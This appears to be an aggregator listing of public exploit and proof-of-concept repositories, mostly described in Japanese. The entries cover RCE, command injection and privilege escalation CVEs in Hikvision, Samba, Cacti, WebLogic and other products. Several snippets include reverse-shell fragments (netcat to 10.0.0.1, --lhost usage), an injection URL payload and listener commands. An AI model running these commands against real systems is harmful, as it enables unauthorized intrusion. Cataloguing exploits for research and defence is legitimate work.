CVE-2021-36260

Hikvision CVE-2021-36260 RCE 脆弱性 脆弱性の説明 攻撃者は本脆弱性を利用することで、無制限のrootシェルによりデバイスを完全に制御できます。デバイスの所有者が限定的な保護シェル（psh）しか持てない場合でも同様です。IPカメラへの侵入に加えて、内部ネットワークへのアクセスや攻撃も可能です。 FOFA root@kitploit: header="Hikvision" app="HIKVISION-视频监控" 使用方法 root@kitploit: python ./CVE-2021-36260.py -u http://192.168.1.1:8080...

CVE-2018-7600-Drupal-POC-EXP

root@kitploit: +----------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + Drupal Drupalgeddon 2 リモートコード実行 CVE-2018-7600 + +----------------------------------------------------------------------+ + USE: python3 + + EXP: pytho...

CVE-2007-2447

CVE-2007-2447 PoC: Sambaの「usermap script」によるリモートコマンド実行（歴史的なCVE）。このリポジトリには、研究および教育目的のレビュー用の小さな概念実証スクリプトが含まれています。主要なスクリプトは usermapscriptCommandExecution.py です。 参考記事: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法 リポジトリをクローンし、管理されたラボ環境でスクリプトを実行してください。このPoCは任意で LHOST:LPORT...

CVE-2026-95521

A command injection flaw exists in rpm when installing or rebuilding a source RPM . If the source or spec file basenames contain a %() macro construct , rpm executes attacker-controlled shell commands via popen() during the relocation of the source file list. This vulnerability allows for arbitra...

CVE-2026-95521

A command injection flaw was found in rpm. Installing or rebuilding a source RPM whose source or spec file basenames contain a % macro construct causes rpm to execute an attacker-controlled shell command via popen while relocating the source file list. This allows arbitrary command execution as t...

Malicious code in simple-date-formatter-new-16 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e57e9eff2fae987a2a23e3107d64c818e020b03380e31d6a3ae9cf8d4eb14ec package.json declares a postinstall lifecycle script that pipes a string-reversed shell one-liner through rev | bash, decoding to a bash reverse shel...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI製のRevshell PoC AI製Redishell PoCの未検証の完成版。 オリジナルPoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py 韓国のピース: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua 進捗 ?...

CVE-2023-45158

CVE-2023-45158 手順 1. Webサーバーを起動します root@kitploit: cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27 を使用してコマンドを注入します。 と を各自の値に置き換えてください。 使用例 1. サーバー上にファイルを作成します http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. リバースシェル 攻撃者のマシンで nc -l 127.0.0.1 8080 を実行します URL...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Druva inSync Windows Client 6.6.3 - ローカル権限昇格 PowerShell システム権限でリバースシェルを取得するように変更されています。...

CVE-2022-46169

CVE 2022-46169 このスクリプトは、Cacti バージョン 1.2.22 以前に存在する未認証のコマンドインジェクションの脆弱性を悪用して、未認証のリモートコード実行を実現し、リバースシェルを取得します。...

CVE-2024-36401-PoC

CVE-2024-36401-PoC このリポジトリには、CVE-2024-36401 の概念実証 PoC スクリプトが含まれています。この脆弱性を悪用すると、標的サーバー上でリモートコード実行が可能になります。 特徴 Perl を使用してリバースシェルリスナーを設定します。 Base64 を使用してコマンドをエンコードします。 脆弱性を悪用するために標的サーバーにリクエストを送信します。 シグナル処理により割り込みを適切に処理します。 前提条件 Python 3.x requests ライブラリ インストール 1. このリポジトリをクローンします: root@kitploit: git...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2024-27348

🔥 CVE-2024-27348 エクスプロイトツールキット 🎓 学術プロジェクト 📚 コース: FC411 - セキュアネットワーク設計 👨‍🏫 講師: Dr. Maira Sultan 🏫 大学: University of Prince Mugrin 📅 年: 2025 ⚡ FC411コースの要件として開発された、CVE-2024-27348（Apache Huge-Graph-Server）を悪用するための完全なツールキットです。このプロジェクトには、教育目的のためのエクスプロイトとバインドシェルの両方が含まれています。 📋 目次 📖 概要...

CVE-2019-15813

CVE-2019-15813 このコンテナは、CVE-2019-15813（Sentrifugo）がどのように動作するかを説明・実演するために作成されました。 Sentrifugo V3.2 Sentrifugoは人事管理システムです。 インストール方法 docker-compose up テスト用のデフォルト認証情報 ----スーパー管理者---- ユーザー名 : empp0001 パスワード : 5faa7bdf3d7af ---従業員---- ユーザー名: EMPP123 パスワード: bygedupub --リバースPHPシェル--...

cve-2022-22947-godzilla-memshell

CVE-2022-22947 godzilla-memshell CVE-2022-22947 ゴジラメモリシェル注入...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 認証済みコマンドインジェクション リバースシェル https://nvd.nist.gov/vuln/detail/CVE-2018-9276 https://github.com/M4LV0 氏が作成したエクスプロイトの改良版です。彼らのスクリプトのPOSTデータを使用しましたが、うまくいかなかったため、より信頼性の高いものに改良しました。 ペイロード配信は基本的に smbdelivery です。Impacket が msfvenom で生成された .dll を提供し、rundll32.exe がすべての作業を実行します。...

bash-shellshock

このリポジトリには README がありません。...

CVE-2019-2729

CVE-2019-2729 Windows上で動作するOracle WebLogic用のCVE-2019-2729エクスプロイトコード。 CobaltStrikeリスナー、またはペイロードwindows/meterpreter/reversetcpを使用したMetasploitハンドラーへのコールバックを作成できます。 また、基盤となるホスト上でコマンドを実行するだけの非ビーコンエクスプロイトもあります。exploit.py。このバージョンはプロキシサポートも有効になっています。...

cve-2023-51467

CVE-2023-51467 用 Go-Exploit このリポジトリには、Apache OFBiz CVE-2023-51467 用の go-exploit が含まれています。実装には、ターゲット検証、バージョンスキャナー、ペイロードとしてのインメモリ Nashorn リバースシェルが含まれています（使用する Java が Nashorn をサポートしている必要があります）。武装化プロセスは VulnCheck ブログ で説明されています。 コンパイル makefile を使用して Docker コンテナをビルドできます： root@kitploit: make docker または、...

CVE-2024-46377

CVE-2024-46377 Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性のPoC 概要 このPythonスクリプトは、Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性を悪用する方法を示しています。この脆弱性により、攻撃者は悪意のあるファイル（PHPウェブシェルなど）をアップロードし、ターゲットサーバー上で任意のコマンドを実行できます。 使用方法 1. リポジトリをクローンしてディレクトリに移動します: root@kitploit: git clone...